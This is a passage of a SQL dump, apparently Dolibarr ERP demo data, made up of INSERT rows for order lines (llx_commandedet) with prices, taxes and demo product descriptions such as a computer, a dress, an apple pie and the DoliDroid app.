',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(287,92,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(288,92,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(289,92,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(290,92,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(291,92,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(292,6,NULL,11,NULL,NULL,'A nice rollup',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'',0.00000000,0.00000000,0.00000000,0.00000000),(295,93,NULL,11,NULL,NULL,'A nice rollup',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,1,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(296,94,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(297,94,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(298,94,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(299,95,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(300,95,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(301,95,NULL,13,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,NULL,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(302,96,NULL,NULL,NULL,NULL,'fd',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(303,97,NULL,NULL,NULL,NULL,'fd',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',10.00000000,10.00000000,0.00000000,10.00000000),(304,98,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'CGST+SGST',9.000,'1',9.000,'1',1,0,0,NULL,5,5.00000000,5.00000000,0.00000000,0.45000000,0.45000000,5.90000000,0,NULL,NULL,0,NULL,10.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',5.00000000,5.00000000,0.00000000,5.90000000),(305,98,NULL,NULL,NULL,NULL,'aaa',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,-2,-2.00000000,-2.00000000,0.00000000,0.00000000,0.00000000,-2.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,'EUR',-2.00000000,-2.00000000,0.00000000,-2.00000000),(306,99,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',4.000,'',0.000,'0',0.000,'0',1,0,0,NULL,6,6.00000000,6.00000000,0.24000000,0.00000000,0.00000000,6.24000000,0,NULL,NULL,0,NULL,10.00000000,0,1,NULL,NULL,NULL,NULL,'EUR',6.00000000,6.00000000,0.24000000,6.24000000),(307,99,NULL,NULL,NULL,NULL,'aaa',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,-2,-2.00000000,-2.00000000,0.00000000,0.00000000,0.00000000,-2.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,'EUR',-2.00000000,-2.00000000,0.00000000,-2.00000000); +INSERT INTO `llx_commandedet` VALUES (1,1,NULL,NULL,NULL,NULL,'Product 1',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(2,1,NULL,2,NULL,NULL,'',0.000,'',0.000,'',0.000,'',1,0,0,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(3,1,NULL,5,NULL,NULL,'cccc',0.000,'',0.000,'',0.000,'',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(4,2,NULL,NULL,NULL,NULL,'hgf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(10,5,NULL,NULL,NULL,NULL,'gfdgdf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(14,3,NULL,NULL,NULL,NULL,'gdfgdf',0.000,'',0.000,'',0.000,'',1,0,0,NULL,10,10.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(15,3,NULL,NULL,NULL,NULL,'fghfgh',0.000,'',0.000,'',0.000,'',1,0,0,NULL,20,20.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,NULL,NULL,0.00000000,0.00000000,0.00000000,0.00000000),(16,17,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(17,17,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(18,17,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9,9.00000000,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000),(19,18,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(20,18,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(21,18,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(24,20,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,5,5.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',5.00000000,20.00000000,0.00000000,20.00000000),(25,20,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,100,100.00000000,300.00000000,0.00000000,0.00000000,0.00000000,300.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,300.00000000,0.00000000,300.00000000),(26,20,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(55,29,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(56,29,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(57,29,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(58,29,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,9,9.00000000,27.00000000,0.00000000,0.00000000,0.00000000,27.00000000,1,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',9.00000000,27.00000000,0.00000000,27.00000000),(59,29,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,10,10.00000000,30.00000000,0.00000000,0.00000000,0.00000000,30.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',10.00000000,30.00000000,0.00000000,30.00000000),(75,34,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(76,34,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(77,34,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(78,34,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,9,9.00000000,9.00000000,0.00000000,0.00000000,0.00000000,9.00000000,1,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',9.00000000,9.00000000,0.00000000,9.00000000),(94,38,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(95,38,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(99,40,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(100,40,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(101,40,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(102,40,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(103,40,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(112,43,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(113,43,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(114,43,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(115,43,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(116,43,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,5,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(125,47,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(126,47,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,5,5.00000000,15.00000000,0.00000000,0.00000000,0.00000000,15.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',5.00000000,15.00000000,0.00000000,15.00000000),(127,47,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(128,47,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,4,NULL,NULL,NULL,0,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(129,48,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,10,10.00000000,40.00000000,0.00000000,0.00000000,0.00000000,40.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',10.00000000,40.00000000,0.00000000,40.00000000),(130,48,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,100,100.00000000,500.00000000,0.00000000,0.00000000,0.00000000,500.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,500.00000000,0.00000000,500.00000000),(134,50,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,100,100.00000000,100.00000000,0.00000000,0.00000000,0.00000000,100.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,100.00000000,0.00000000,100.00000000),(135,50,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,9,9.00000000,18.00000000,0.00000000,0.00000000,0.00000000,18.00000000,1,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',9.00000000,18.00000000,0.00000000,18.00000000),(145,54,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(146,54,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
\r\n- DoliDroid is not a duplicate code of Dolibarr, but a front-end of a Dolibarr web installation, so all your online existing features are supported by this application. This is also true for external modules features.
\r\n- Upgrading Dolibarr will not break DoliDroid.
\r\n- DoliDroid use embedded image resources to reduce bandwidth usage.
\r\n- DoliDroid use internal cache for pages that should not change (like menu page)
\r\n- Connections parameters are saved. No need to enter them each time you use DoliDroid.
\r\n- Integration with your phone or other applications (Clicking on PDF open PDF reader, clicking onto email or phone launch your email application or launch Android dialer, ...)

\r\n\r\n

WARNING ! 

\r\n\r\n

This application need Android 4.0+ and a hosted Dolibarr ERP & CRM version 3.5 or newer accessible by internet
\r\n(For example, when hosted on any SaaS solution like DoliCloud - http://www.dolicloud.com).

',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,10,10.00000000,20.00000000,0.00000000,0.00000000,0.00000000,20.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',10.00000000,20.00000000,0.00000000,20.00000000),(158,58,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',3,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(159,58,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(160,58,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,9,9.00000000,36.00000000,0.00000000,0.00000000,0.00000000,36.00000000,1,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',9.00000000,36.00000000,0.00000000,36.00000000),(174,62,NULL,4,NULL,NULL,'Nice Bio Apple Pie.
\r\n ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,5,5.00000000,10.00000000,0.00000000,0.00000000,0.00000000,10.00000000,0,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',5.00000000,10.00000000,0.00000000,10.00000000),(175,62,NULL,10,NULL,NULL,'A powerfull computer XP4523 ',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(176,62,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',2,0,0,NULL,100,100.00000000,200.00000000,0.00000000,0.00000000,0.00000000,200.00000000,0,NULL,NULL,0,NULL,0.00000000,0,3,NULL,NULL,NULL,0,'EUR',100.00000000,200.00000000,0.00000000,200.00000000),(198,68,NULL,12,NULL,NULL,'Cloud hosting of Dolibarr ERP and CRM software',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,9,9.00000000,45.00000000,0.00000000,0.00000000,0.00000000,45.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',9.00000000,45.00000000,0.00000000,45.00000000),(199,68,NULL,2,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',5,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(209,72,NULL,3,NULL,NULL,'',0.000,'',0.000,'0',0.000,'0',1,0,0,NULL,0,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,0.00000000,1,NULL,NULL,0,NULL,0.00000000,0,1,NULL,NULL,NULL,0,'EUR',0.00000000,0.00000000,0.00000000,0.00000000),(210,72,NULL,1,NULL,NULL,'A beatifull pink dress',0.000,'',0.000,'0',0.000,'0',4,0,0,NULL,100,100.00000000,400.00000000,0.00000000,0.00000000,0.00000000,400.00000000,0,NULL,NULL,0,NULL,0.00000000,0,2,NULL,NULL,NULL,0,'EUR',100.00000000,400.00000000,0.00000000,400.00000000),(211,72,NULL,5,NULL,NULL,'DoliDroid is the Android front-end client for Dolibarr ERP & CRM web software.
\r\nThis application is not a standalone program. It is a front end to use a online hosted Dolibarr ERP & CRM software (an Open-source web software to manage your business).
\r\n

The advantage of DoliDroid are :
